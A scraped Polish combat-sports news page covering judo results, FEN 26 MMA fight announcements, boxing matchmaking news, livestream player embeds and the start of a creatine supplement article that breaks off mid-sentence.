Rok temu w Bratysławie był siódmy, teraz wygrał. Paweł Drzymmał (81kg) wywalczył pierwszy medal w rywalizacji seniorskiej i od razu sięgnął po złoto. Polski judoka wygrał pięć walk, w tym cztery przed czasem. Do rywalizacji z Drzymałem szczęścia nie mieli bracia Bekmurzaev z Białorusi. Z Yunusem zawodnik Czarnych Bytom wygrał w półfinale, zaś w finale pokonał Yusupa. Drugie zwycięstwo w karierze w zawodach Pucharu Europy odniósł Kamil Grabowski (+100kg). Premierowe zwycięstwo miało miejsce jednak ponad trzy lata temu. W Bratysławie Grabowski szedł jak burza. Wygrał cztery walki, żadna nie trwała powyżej dwóch minut! W finale Polak uporał się z Ukraińcem Nodarem Machutadze, który w tym roku stał na podium zawodów w Dubrovniku. Po raz kolejny złoty medal przeszedł mu koło nosa.

Ponad trzy lata na podium w międzynarodowych zawodach czekała Ewa Konieczny (48kg). Judoczka Czarnych Bytom w 2016 roku zdobyła srebro w Tallinie. W tym roku była siódma w Oberwart. Konieczny wygrała trzy walki. W półfinale po dogrywce pokonała Elisę Andrasti z Włoch. Z kolei w finale przed czasem uległa innej zawodniczce z Italii – Micheli Fiorini. Wynik z poprzedniego roku poprawiła Katarzyna Wiszniewska (52kg), kiedy to była siódma. Tym razem Polka sięgnęła po srebro. Wiszniewska wygrała cztery starcia, w finale uległa Emoke Knetig. Paula Kulaga (+78kg) znalazła receptę na dwie Chorwatki, co dało jej miejsce w finale. Lepsza okazała się jednak Słowenka Urska Torkar. Sukces Daniela Moskala (100kg). W drodze do finału zawodnik pokonał rodaka Dominika Majowskiego, jednak w finale nie sprostał Dario Kurbjeweitowi Garcii.

Aleksandra Kaleta (52kg) po dwóch wygranych starciach, przegrała z Emoke Kneting, która triumfowała w Bratysławie. Polka poradziła sobie w repasażach i stanęła do rywalizacji o brąz. Błyskawicznie poradziła sobie z Teją Tropan. Doświadczenie na poziomie seniorskim zdobywa Karolina Miller (70kg). 20-latka w Bratysławie wygrała dwa pojedynki, co dało jej miejsce na najniższym stopniu podium. Po medalu w Uster, kolejny na swoim koncie zapisał Kacper Szczurowski (100kg). 22-letni judoka w mgnieniu oka dotarł do półfinału. Wygrał dwie walki w czasie poniżej minuty! Drogę do finału zablokował mu Dario Kurbjeweit Gracia, który w starciu o złoto pokonał Daniela Moskala. Szczurowski sięgnął po medal pokonując Mateja Hajasa.

Na piątych miejscach rywalizację zakończyli Barbata Faltynowicz (70kg), Julia Jaśkiewicz (78kg), Agata Zacheja (63kg), Dominik Majowski (100kg).

Najlepsi w Bratysławie byli Niemcy, którzy również zdobyli dziewięć medali. Z tą różnicą, że cztery złote (Polska dwa). Trzecie miejsce w klasyfikacji medalowej dla Włoch – cztery krążki.

Fot. zdjęcie poglądowe

KM

Lech przywita Trybsona w klatce FEN

Jarosław Lech (5-4, 2 KO, 2 SUB) zmierzy się z Pawłem Trybałą (5-3, 5 KO) podczas gali FEN 26 we Wrocławiu. Pojedynek ten zakontraktowano w limicie kategorii półciężkiej.

Lech ma na swoim koncie 5 wygranych walk, z których cztery odniósł przed czasem. Zawodnik trenujący na co dzień w Myszkowie dwa swoje ostatnie starcia zwyciężył poddając Piotra Drozdowskiego i jednogłośnie rozprawiając się z Piotrem Walawskim. Na początku 2019 roku Lech znokautował w 1. rundzie Przemysława Welnickiego. Konfrontacja z Trybsonem będzie jego debiutem pod szyldem FEN.

Trybała pierwotnie miał wystąpić na FEN podczas 20. edycji, ale podczas przygotowań zerwał więzadła w kolanie i nie był w stanie skonfrontować się z Tymoteuszem Świątkiem. Po przerwie stoczył dwa pojedynki i oba wygrał przed czasem. W marcu 2019 roku znokautował w 2. rundzie Gerarda Bąka, niespełna trzy miesiące później w premierowej odsłonie uporał się z Marcinem Najmanem. Wcześniej o sile jego uderzenia przekonali się David Wysocki oraz Paweł Bolanowski, którzy również musieli uznać wyższość jednego z bohaterów gali FEN 26.

 

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca*
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki*
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk
93 KG, MMA: Paweł Trybała vs Jarosław Lech
-120 KG, MMA: Szymon Bajor vs Marcin Sianos
+95 KG, K-1: Michał Turyński vs TBA
77 KG, MMA: Szymon Dusza vs TBA
70 KG, MMA: Łukasz Charzewski VS Krystian Blezień
TBA vs TBA
TBA vs TBA

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

Cyborg w Bellatorze

W sierpniu dobiegła końca przygoda Cristiane Justino z UFC. Kolejnym wyzwaniem dla brazylijskiej gwiazdy kobiecego MMA będzie rywalizacja w Bellatorze.

W ostatnim czasie było głośno o różnicy zdań między Daną White'm, a Cristiane Justino. W głównej mierze chodziło o rewanżowe starcie "Cyborg" z Amandą Nunes, z którą przegrała w grudniu 2018 roku i straciła tytuł w wadze piórkowej. White uważał, że Brazylijka chce uniknąć rewanżu, ta jednak była… innego zdania. Między przedstawicielem UFC, a zawodniczką dochodziło do słownych przepychanek. W lipcu (UFC 240) Cyborg pokonała Felicię Spencer i tym samym wypełniła kontrakt z amerykańską organizacją. Dodatkowo w sieci pojawiło się zmanipulowane przez zespół Brazylijki nagranie, które uderzyło we włodarza UFC. Koniec końców White postanowił zrezygnować z jej usług. Czołowa zawodniczka kobiecego MMA odeszła z UFC, jednak jej umiejętności i pozycja sprawiły, że nie musiała martwić się o przyszłość. Zainteresowanie natychmiast wyraził prezydent Bellatora Scott Coker. Strony współpracowały ze sobą w czasach, gdy Justino rywalizowała w Strikeforce.

Scott Coker poinformował, że Bellator podpisał kontrakt z "Cyborg", który jest najwyższym w historii kobiecego MMA. Wartości umowy nie ujawniono. Justino będzie zatem chciała zdominować rywalizację w kolejnej w organizacji. W dotychczasowych zmaganiach "Cyborg" zasiadała na tronie w Strikeforce, Invicta oraz UFC. W tej ostatniej tytułu broniła dwukrotnie, wywalczyła go w lipcu 2017 roku pokonując Tonyę Evinger.

Pas mistrzowski wagi piórkowej należy do Julia Budd, która broniła go już trzykrotnie. 36-letnia Kanadyjka wygrała jedenaście kolejnych walk! Ostatnią porażkę zanotowała z listopadzie 2011 roku w Strikeforce z Rondą Rousey. Co ciekawe Budd, tak jak i Justino, ma na koncie przegrany pojedynek z Amandą Nunes.

Pozostaje czekać na pierwszy występ 34-letniej Justino w Bellatorze. Wiadomo, że organizacja dokonała poważnego wzmocnienia, a sama zawodniczka mierzy wysoko. Jeśli zdobędzie tytuł w Bellatorze będzie to jej czwarte mistrzostwo. Zapewne Justino zrobi wszystko, aby pokazać władzom UFC, że mają czego żałować.

KM

Niepokonany Charzewski sprawdzi debiutującego w FEN Blezienia

Łukasz Charzewski (7-0, 2 KO, 2 SUB) podczas gali FEN 26 we Wrocławiu po raz drugi wystąpi pod szyldem federacji. Niepokonany na zawodowstwie „Harry” podejmie Krystiana Blezienia (3-1, 2 KO, 1 SUB).

Charzewski zadebiutował w FEN podczas gali FEN 23, kiedy skrzyżował rękawice z Łukaszem Bieńkiem, którego poddał w 3. rundzie. Później zawodnik z Kamiennej Góry wygrał poza federacją z Kamilem Lamprychtem – po 1. rywal Harry’ego został poddany przez narożnik. Niepokonany Charzewski ma na rozkładzie między innymi takich zawodników, jak Artur Pawlik czy Tomasz Kubczak.

Blezień może pochwalić się trzema zwycięstwami odniesionymi na zawodowstwie. O sile jego uderzeń przekonali się Mariusz Skwarek, Dominik Kowalski oraz Maciej Kierzkowski, których fighter z Dębicy pokonał na swojej dotychczasowej ścieżce. Konfrontacja z Charzewskim będzie debiutem Blezienia pod szyldem FEN.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca* 
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki* 
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk 
93 KG, MMA: Paweł Trybała vs TBA 
-120 KG, MMA: Szymon Bajor vs Marcin Sianos 
+95 KG, K-1: Michał Turyński vs TBA 
77 KG, MMA: Szymon Dusza vs TBA 
70 KG, MMA: Łukasz Charzewski VS Krystian Blezień 
TBA vs TBA 
TBA vs TBA

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

FEN Social Media: 
Facebook:  facebook.com/fightexclusivenight/ 
Twitter:  twitter.com/fenmma 
Instagram:  instagram.com/fightexclusivenight/

Brąz i starczy

Julia Kowalczyk (57kg) autorką jedynego medalu dla Polski podczas mistrzostw świata w judo w Tokio. Rywalizację zdominowali gospodarze, którzy zapisali na swoim koncie 11 krążków.

Świetny indywidualny występ Julii Kowalczyk i największy sukces w karierze naszej judoczki. Niespełna 22-letnia zawodniczka wygrała w Tokio pięć walk. Przegrała jedynie z Japonką Tsukasą Yoshidą, ale poradziła sobie w repasażach i stanęła przed szansą na wywalczenie brązowego medalu. Zacięta walka z Iveliną Ilievą w ostatnich sekundach rozstrzygnęła się na korzyść Kowalczyk.

Pozostali reprezentanci Polski nie doszli do strefy medalowej. Dobry występ zaliczyła Agata Perenc (52kg). 15. zawodniczka światowego rankingu wygrała dwie walki, w pierwszej rundzie miała wolny los. W 1/8 finału Polka trafiła na utytułowaną Majlindę Kelmendi. Reprezentantka Kosowa wygrała przez waza ari, a zmagania w Tokio zakończyła z brązowym krążkiem.

Z dobrej strony pokazał się Patryk Wawrzyczek (66kg). Polski judoka wygrał trzy pojedynki, w tym dwa przez ippon. W 1/8 finału los skojarzył Wawrzyczka z Denisem Vieru. Reprezentant Mołdawii wygrywał w tym roku zawody rangi Grand Slam w Paryżu i Baku. W Tokio triumfował z Wawrzyczkiem przed czasem, a ostatecznie sięgnął po brąz.

Po dwie walki wygrali Wiktor Mrówczyński (73kg) i Sebastian Marcinkiewicz (81kg). Odpadli w 1/16 finału – odpowiednio z Constantinem Gabunem oraz Dominicem Resselem. Na tym etapie z mistrzostwami pożegnały się również Anna Borowska (57kg) i Daria Pogorzelec (70kg).

Najlepsi Japończycy

W klasyfikacji medalowej równych nie mieli sobie Japończycy – 11 krążków, w tym cztery z najcenniejszego kruszcu. Tytuł z Baku obroniła Uta Abe (52kg). Trzecie złoto mistrzostw świata, ale pierwsze na poziomie seniorskim zdobyła Akira Sone (+78kg). W tamtym roku został wicemistrzem Azji, zaś w Tokio wywalczył złoto światowego czempionatu – taką drogę przebył Joshiro Maruyama (66kg). Nie zawiódł mistrz olimpijski z Rio de Janeiro Shohei Ono (73kg). W Tokio wywalczył trzeci tytuł mistrza świata.

Druga pozycja w klasyfikacji medalowej dla Francuzów – pięć krążków, w tym trzy złote. Co ciekawe wszystkie zdobyły panie – Clarisse Agbengnenoi (63kg), Marie Eve Gahie (70kg) oraz Madeleine Malinga (78kg). Trzecia Portugalia – złoto i srebro. Polska na 23. miejscu.

KM

Kto dla Usyka?

Oczekiwanie na debiut Oleksandra Usyka w wadze ciężkiej. Ukraiński bokser wraca po kontuzji i czeka na rywala. Nie będzie nim Carlos Takam. Rozważane są kandydatury Bryanta Jenningsa i Tyrone'a Sponga.

Ostatni pojedynek Usyk stoczył 10 listopada 2018 roku. W Manchesterze w ósmej rundzie znokautował Tony'ego Bellewa i obronił tytuły WBO, WBC, WBA i IBF w kategorii junior ciężkiej. Kolejnym celem ukraińskiego czempiona jest zawojowanie wagi ciężkiej. Wielu zacierało ręce i czekało na debiut pięściarza w kategorii królewskiej. Rywalem Usyka miał być Carlos Takam, który w swojej karierze pokonał m.in. Marcina Rekowskiego. Pojedynek zaplanowano na 25 maja, jednak do niego doszło z powodu kontuzji Usyka. Uraz bicepsa sprawił, że debiut 32-latka musiał zostać przełożony.

Ukraiński pięściarz jest już zdrowy i czeka na pierwszy pojedynek w wadze ciężkiej. Ma wystąpić 12 października w Wintrust Arena w Chicago. Wiadomo, że jego rywalem nie będzie Takam, który ma zmierzyć się z Joe DeGuardią. Mówiło się również o możliwym spotkaniu 32-letniego pięściarza z Andriejem Fiedosowem. Usyk nie chciał jednak tej walki ze względu na… napięcia polityczne pomiędzy krajami.

Wśród kandydatów do rywalizacji z Usykiem są Bryant Jennings oraz Tyrone Spong. Amerykanin swego czasu rywalizował z Władimirem Kliczko o mistrzowskie pasy w wadze ciężkiej. W tym roku blisko 35-letni bokser przegrał dwie walki – z Oscarem Rivasem i Joe Joyce'm. Ostatni raz wygrał rok temu – pokonał przed czasem Alexandra Dimitrenko. 33-letni Spong jeszcze nie przegrał na zawodowym ringu. Aż 12 z 13 walk rozstrzygnął przed czasem. Spong szykuje się do kolejnej walki – 31 sierpnia spotka się z Jeysonem Mindą. Warto dodać, że w przeszłości Holender rywalizował również w kickboxingu.

Sprawa wyłonienia rywala dla Usyka wydaje się coraz bliższa finału. Czas biegnie, Ukrainiec jest spragniony rywalizacji, więc nie ma na co czekać. Pytanie – czy pierwszy rywal będzie przystawką dla 32-latka przed poważniejszymi pojedynkami? Jak Usyk odnajdzie się w kategorii królewskiej? Najlepiej na te pytania odpowie w ringu, ale w wadze ciężkiej jest i będzie ciekawie. Nic tylko się cieszyć.

Fot. Facebook Александр Усик / Usyk

KM

Brazylijczyk Fonseca rywalem Grzebyka w pierwszej obronie pasa

Robert Fonseca (12-3, 2 KO, 6 SUB) zmierzy się z Andrzejem Grzebykiem (15-3, 8 KO, 3 SUB) podczas gali FEN 26, która 12 października odbędzie się we wrocławskiej hali Orbita. Będzie to pierwsza obrona pasa mistrzowskiego przez Grzebyka i walka wieczoru dolnośląskiej edycji.

Fonseca ma 32 lata i pochodzi z Manaus, największego miasta Amazonii. „Pato” ma na swoim koncie 12 zwycięstw, z których 8 odniósł przed czasem – 2 przez nokauty i 6 dzięki poddaniom. Fonseca zapisał w swoim rekordzie pięć kolejnych wygranych ani razu nie czekając na werdykt sędziów. W czerwcu tego roku poddał w 1. rundzie Michała Wiencka. Wcześniej w podobny sposób skończył Henrique Diasa Ribeiro i Samuela Carvalho. Występ we Wrocławiu będzie jego debiutem w FEN.

Grzebyk to pierwszy, historyczny mistrz FEN w dwóch kategoriach – średniej i półśredniej. Pierwszy tytuł zdobył podczas gali FEN 21, kiedy to pokonał przez techniczny nokaut w 4. rundzie Thiago Vieirę. Następnie rzeszowianin stoczył zwycięski pojedynek poza federacją i zszedł do limitu 77 kilogramów, gdzie w debiucie skrzyżował rękawice z Kamilem Gniadkiem. Grzebyk znowu był górą, dzięki czemu zapisał się w annałach FEN. Walka z Fonsecą będzie jego pierwszą obroną tytułu mistrzowskiego w kategorii do 84 kilogramów.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca* 
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki* 
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk 
93 KG, MMA: Paweł Trybała vs TBA 
-120 KG, MMA: Szymon Bajor vs Marcin Sianos 
+95 KG, K-1: Michał Turyński vs TBA 
77 KG, MMA: Szymon Dusza vs TBA 
TBA vs TBA 
TBA vs TBA 
TBA vs TBA

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

Kowalczyk z brązem mistrzostw świata

Największy sukces w karierze Julii Kowalczyk (57kg). Reprezentantka Polski wywalczyła brązowy medal w trwających w Tokio mistrzostwach świata w judo.

Doczekaliśmy się. Rok temu polscy judocy z Baku bez medalu. Najwyżej uplasował się Damian Szwarnowiecki – był piąty. Dwa lata temu w Budapeszcie na najniższym stopniu podium stanęła Agata Ozdoba (63kg). W 2014 roku w Czelabińsku brąz zawisł na szyi Katarzyny Kłys (70kg). W ślady swoich koleżanek w Tokio poszła Julia Kowalczyk.

22-letnia reprezentantka Polski ma na koncie medale mistrzowskich imprez w różnych kategoriach wiekowych. Kowalczyk zdobyła brąz mistrzostw Europy kadetek, czempionatu Starego Kontynentu juniorek. Ma na swoim koncie także mistrzostwo Europy U23. W Tokio pierwszy raz stanęła na podium mistrzostw świata. To bez wątpienia największy sukces w karierze Kowalczyk. Od początku występu w Tokio Polka prezentowała dobrą dyspozycję. Szybko uporała się z Lam Nok Yeung, a potem przez waza ari pokonała kolejno Maricę Perisić oraz Timnę Levy Nelson. W ćwierćfinale Polka trafiła na utytułowaną Tsukasę Yoshida. Kowalczyk zdobyła waza-ari, ale ubiegłoroczna mistrzyni świata odrobiła straty i triumfowała w dogrywce. 22-letnia zawodniczka Polonii Rybnik trafiła do repasaży. Mordercza walka z mistrzynią Europy Darią Meżecką trwała ponad osiem minut! Zakończyła się triumfem Polki, która była o krok od medalu. O podium Kowalczyk rywalizowała z Iweliną Iliewą. Ogromna determinacja i walka o zwycięstwo do ostatnich sekund. Bułgarka była blisko medalu, ale na ostatniej prostej Kowalczyk wykonała akcję na ippon.

Dwa pojedynki w Tokio wygrała Agata Perenc (52kg), ale w trzecim uległa późniejszej brązowej medalistce Majlindzie Kelmendi. Szybko z mistrzostwami pożegnała się Aleksandra Kaleta (52kg). Dobrze radził sobie Patryk Wawrzyczek (66kg). Wygrał trzy walki, ale przeszkodą nie do przejścia okazał się Denis Vieru. Reprezentant Mołdawii sięgnął ostatecznie po brąz. Wiktor Mrówczyński (73kg) zanotował dwie wygrane walki, ale trzecie starcie przegrał. Na pierwszej przeszkodzie odpadł Tomer Golomb (60kg).

Czekamy na kolejne dobre wieści z Tokio.

Fot. IJF/PZJudo

KM

Gala SHARKS ATTACK #3 – MYSŁOWICE 30.11.2019

Przed Wami kolejna, trzecia już edycja gali Sharks Attack.

 

Sharks Attack 3, jak zwykle w swoim dobrze wypracowanym stylu tym razem zakotwiczy w Mysłowicach w hali MOSiR ul. Bończyka 32z. Karta walk to 12 pojedynków. 10 w formule MMA oraz 2 w formule K1 w obronie pasów mistrzowskich wywalczonych na poprzednich galach Sharks Attack w grudniu 2018 przez Rafała Kosiarskiego oraz Dominike „Zośkę Filec” w maju 2019. Karta wstepna to 4 pojedynki w formule semi-pro, karta główna to 8 pojedynków w formule pro W octagonie zobaczymy lokalnych zawodników takich jak: Mariusz Radziszewski, Adrian Bober, Alan Langer czy Mateusz Gądek.

 

Start 19.00 – planowane zakończenie 23.00

Ring Announcer Krzysztof Skrzypek

Skład sędziowski poprowadzi Piotr Michalak

Cutman Piotr Lutowski

Walki komentować będą  Zbigniew Zając i Maciej ALF Glabus

W studio telewizyjnym  zasiądzie Monika  Porażyńska oraz zaproszeni goście specjalni

1. Main event – walka o pas zawodowego MP K-1 ISKA – 57 kg

Dominika Filec/Absortio Gym Rybnik/Leszczyny vs Sylwia Juśkiewicz/Human Fitness Phylosphy

2. Co main event – MMA – Pro -77 kg

Mariusz Radziszewski/Shark Top Team Bytom vs TBA

3. Extra Fight MMA – Pro -73 kg

Adrian Bober/MMATADORES Katowice vs Michał Cichoń/Shark Top Team Bytom

4. Walka o pas zawodowego MP K-1 ISKA – 68 kg

Rafał Kosiarski/Klub Kick Boxing Fighter Nowa Sól vs Patryk Magnucki/Strefa Sportów Walki Artfight Rzeszów

5. MMA – Pro -72 kg

Alan Langer/Silesian Cage Club vs Petru Buzdugan/Thai Boxing Club Mołdawia

6. MMA – Pro – 68 kg

Michał Domin/Octagon Team Żory vs Daniel Hodor/MMATADORES Katowice

7. MMA – Pro – 84 kg

Piotr Siwkowski/MMA Team Ostróda vs Mateusz Gątek/MMATADORES Katowice
8. MMA – Pro – 66 kg

Kamil Warzybok/Natal Gold Team Katowice vs Szymon Rakowicz/Octagon Team Żory

Karta Wstępna:

9. MMA Semi-pro – 77 kg

Alan Szymański/MMA Team Ostróda vs Adam Wiewióra/Silesian Cage Club

10. MMA Semi-pro – Open

Łukasz Stępień/Silesian Cage Club vs Krzysztof Bąkowski/Shark Top Team Bytom

11. MMA Semi-pro – 57 kg

Paulina Wiśniewska/MMA Team Ostróda vs Barbara Grabowska/SWD Kraków

12. MMA Semi-pro – 57 kg

Katarzyna Samerdak/Shark Top Team Bytom vs Sandra Kulpa/Silesian Cage Club

Bilety w cenie od 40zł https://link.do/bilety-sharks-attack-3

Wielka walka na horyzoncie

O możliwym starciu mistrza świata WBO wagi półciężkiej Sergiejem Kowaliowem z Saulem "Canelo" Alvarezem mówi się od dłuższego czasu. Do pojedynku miałoby dojść na początku listopada. Obóz Kowaliowa, który w sobotę (24 sierpnia) pokonał Anthony'ego Yarde'a chciałby przesunąć termin starcia.

Las Vegas, światła jupiterów, szalejący kibice spragnieni sportowych emocji, wielkie widowisko i ogromne pieniądze na stole – tak w skrócie można zapowiedzieć planowany pojedynek Kowaliowa z Alvarezem. Wiadomo, że mówimy o mocnych i wysokiej klasy bokserach. 36-letni Kowaliow w lutym br. odzyskał pas WBO z rąk Eleidera Alvareza. Skutecznie obronił tytuł w starciu z Anthony'm Yarde'm. Rosjanin wygrał w jedenastej rundzie, ale pojedynek był niezwykle wyczerpujący. W swojej karierze Kowaliow posiadał również pasy WBA i IBF. Stracił je na rzecz Andre Warda. Saul Alvarez to najlepiej zarabiający pięściarz na świecie i do bólu skuteczny. Przegrał tylko raz – z Floydem Mayweatherem Jr. Wiele kontrowersji wywołał werdykt jego starcia z Gienadijem Gołowkinem, do której doszło we wrześniu 2018 roku. Mimo to Meksykanin jest klasowym pięściarzem, wygrał aż 52 pojedynki! "Canelo" rządzi w wadze średniej – ma pasy WBC, WBA i IBF.

Starcie gwiazd w Las Vegas miałoby się odbyć 2 bądź 9 listopada. "Canelo" w tym roku walczył tylko raz. W maju pokonał Daniela Jacobsa. Kolejną walkę miał stoczyć we wrześniu, w obrębie zainteresowań pojawił się Kowaliow. Rosjanin wszedł na ring w sierpniu. Z pierwszych przymiarek nic nie wyszło, ale temat wciąż jest żywy, a strony prowadzą negocjacje. Istotną kwestią jest satysfakcja finansowa Kowaliowa. Proponowano mu 6 milionów dolarów, jednak nie przystał na tę ofertę. To prawdopodobnie jeden z powodów, dla których nie doszło do pojedynku we wrześniu. Obecnie gaża Kowaliowa może wynieść około 10 milionów.

Rosjanin jest "na świeżo" po walce, z kolei Alvarez trenuje. Obóz Kowaliowa chciałby, żeby ten nieco odpoczął i dopiero rozpoczął przygotowania. Dlatego też promotorzy mistrza WBO wagi półciężkiej liczą na przesunięcie terminu. Pewne jest, że wielka walka jest na horyzoncie. Obie strony jej chcą, a porozumienie wydaje się kwestią czasu.

Fot. Sergey Kovalev Facebook

KM

LIVE: Wirtuoz Challenge Special Edition

Zapraszamy na transmisję telewizyjną z gali Wirtuoz Challenge Special Edition.

[kod]

Wirtuoz Challenge Special Edition

Wirtuoz Challenge Special Edition

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: FEN 26 – Oficjalna ceremonia ważenia

Zapraszamy na transmisję telewizyjną z oficjalnej ceremonii ważenia zawodników przed galą FEN 26.

[kod]

FEN 26 – Oficjalna ceremonia ważenia

FEN 26 – Oficjalna ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-fhd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-fhd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Wirtuoz Challenge #4

Zapraszamy do oglądania gali Wirtuoz Challenge #4.

[kod]

Wirtuoz Challenge #4

Wirtuoz Challenge #4

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

FEN 26: Bajor sprawdzi Sianosa we Wrocławiu

Szymon Bajor (19-8, 7 KO, 9 SUB) zmierzy się z Marcinem Sianosem (4-3, 4 KO) podczas gali FEN 26, która 12 października odbędzie się we wrocławskiej hali Orbita. Obaj zawodnicy przystąpią do tej walki po zwycięstwach pod szyldem federacji.

Bajor udanie zadebiutował w FEN w Warszawie, podczas 24. edycji, kiedy to w 1. rundzie wygrał przez techniczny nokaut z Grzegorzem Cieplińskim. Po tym pojedynku udał się na walkę do Rosji, którą również wygrał przed czasem w premierowej odsłonie. W sierpniu 2017 roku znokautował Alexandra Stolyarova, rok wcześniej na pełnym dystansie jednogłośną decyzją sędziów rozprawił się z Teodorasem Aukstuolisem. Rzeszowianin tylko trzykrotnie werdykt w swoich pojedynkach pozostawiał sędziom. 

Sianos swój ostatni pojedynek wygrał niezwykle efektownie, nokautując w 1. rundzie Marcina Zontka. W sierpniu 2017 roku w Koszalinie zadebiutował pod szyldem FEN. Podczas edycji „Summer Edition” pewnie pokonał Mateusza Łazowskiego i z impetem zaznaczył swoją obecność w federacji. W przeszłości Sianos znokautował Jędrzeja Martuzalskiego oraz Adriana Woźniaka. Wszystkie zwycięstwa, które ma na swoim koncie zawodnik z Kołobrzegu, zostały odniesione w 1. rundach.

Zwycięzca tego pojedynku stanie do walki o pas mistrzowski w kategorii ciężkiej.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs TBA* 
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki* 
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk 
93 KG, MMA: Paweł Trybała vs TBA 
-120 KG, MMA: Szymon Bajor vs Marcin Sianos 
+95 KG, K-1: Michał Turyński vs TBA 
77 KG, MMA: Szymon Dusza vs TBA 
TBA vs TBA 
TBA vs TBA 
TBA vs TBA

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

Dołącz do wydarzenia na portalu Facebook:  facebook.com/events/708341146245825/

Stawka Ruiza wzrosła

7 grudnia wielki rewanż – Anthony Joshua będzie chciał odzyskać pasy mistrzowskie WBA, WBO i IBF, a Andy Ruiz Jr. stanie do ich pierwszej obrony. Pojedynek odbędzie się w Arabii Saudyjskiej.

Na chwilę cofnijmy się. 1 czerwca br. w Madison Square Garden byliśmy świadkami niespodzianki. Anthony Joshua miał walczyć z Jarrellem Millerem, ale ten zaliczył wpadkę dopingową i w ringu pojawił się Andy Ruiz Jr. Mało kto spodziewał się, że Meksykanin z brzuszkiem zagrozi "AJ". A jednak! W siódmej rundzie niespodzianka stała się faktem. Ruiz Jr. został nowym czempionem wagi ciężkiej i sięgnął po pasy WBA, IBF, WBO i IBO. Wiadomo było, że prędzej czy później musi dojść do rewanżu.

Joshua zdecydował się aktywować klauzulę dotyczącą pojedynku rewanżowego. Bokserzy mieli wejść do ringu pod koniec roku. Podstawową kwestią było – gdzie i za jakie pieniądze. Joshua pojechał do Stanów Zjednoczonych i stracił pasy, więc początkowo pojawiała się opcja, że rewanż odbędzie się w Wielkiej Brytanii. Mówiło się o Cardiff. Z drugiej strony przewijał się Nowy Jork. Praktycznie wszystkich w osłupienie wprawił pomysł organizacji pojedynku w Arabii Saudyjskiej. Wydawało się to niemożliwe, a jednak rewanż zaplanowano 7 grudnia w Arabii Saudyjskiej.

Sport swoją drogą, emocje też, ale kasa musi się zgadzać. Eddie Hearn, menadżer Joshuy, robi wszystko, aby przekonać, że walka w Arabii ma sens. Nie brakuje jednak krytycznych opinii. Wielu ekspertów podkreśla, że Diriyah nie jest najlepszym miejscem na rewanż gwiazd.

Cała sytuacja jest o tyle dziwna, że Hearn ogłosił walkę zanim Ruiz podpisał na nią umowę. Meksykanin wykorzystał to na  swoją korzyść. Bo jak przepuścić taką okazję. Pierwotnie mistrz miał zagwarantowane 8-9 milionów dolarów. Negocjował na tyle dobrze, że kwota ta wzrośnie o kilka milionów (nawet 15!). Trzeba pamiętać również o takich dodatkach jak wpływy z praw telewizyjnych w Meksyku.

Wiadomo, że miłośnicy boksu czekają na tę walkę. Nie brakuje jednak wątpliwości, co do miejsca rywalizacji oraz otoczki wokół starcia. Promocja wydarzenia ruszy na początku września.

Fot. Andy Ruiz Jr. Facebook

KM

Kreatyna – jeden z najczęściej stosowanych suplementów przez sportowców

Kreatyna to związek chemiczny, który naturalnie występuje w organizmie i odgrywa ogromną rolę w naszym życiu. Jest syntezowana w wątrobie, trzustce oraz nerkach i bezpośrednio wpływa na funkcjonowanie mięśni i ścięgien. Obniżenie zapasów tego związku chemicznego, (widoczne szczególnie podczas wysiłku fizycznego) prowadzi do zmniejszenia zdolności wysiłkowych. To jeden z tych suplementów, którego efekty są w ogromnym stopniu uzależnione od sposobu dawkowania.

Jak kreatyna działa na organizm?

Głównym zadaniem kreatyny w organizmie jest zwiększenie ilości fosfokreatyny, odpowiedzialnej za transport energii do komórek mięśniowych. Im więcej jej posiadamy, tym więcej energii zyskują nasze mięśnie. W efekcie każdy trenujący jest w stanie wykonać dłuższy i efektywniejszy trening. Niestety ilość kreatyny jest ograniczona, dlatego zdecydowana większość sportowców, aby poprawić swoje wyniki, decyduje się na jej suplementację. 

Okazuje się, że już 3 gramy spożytej dziennie kreatyny zwiększają wydolność organizmu w przypadku bardzo intensywnych ćwiczeń fizycznych. Dlatego też osoby, które w uwzględniają ją w swojej diecie, nie odczuwają gwałtownych spadków energii oraz zmęczenia w takim stopniu, jak ci, którzy nie stosują kreatyny, a wykonują codzienne sesje treningowe. 

W jakim celu suplementujemy kreatynę? 

Ten związek chemiczny ma duży wpływ na odnawianie tzw. cząsteczek ATP, czyli podstawowego nośnika energii w naszym organizmie. Prawidłowa podaż kreatyny zwiększa zdolności wysiłkowe i stymuluje syntezę białek, co oznacza, że w praktyce: 

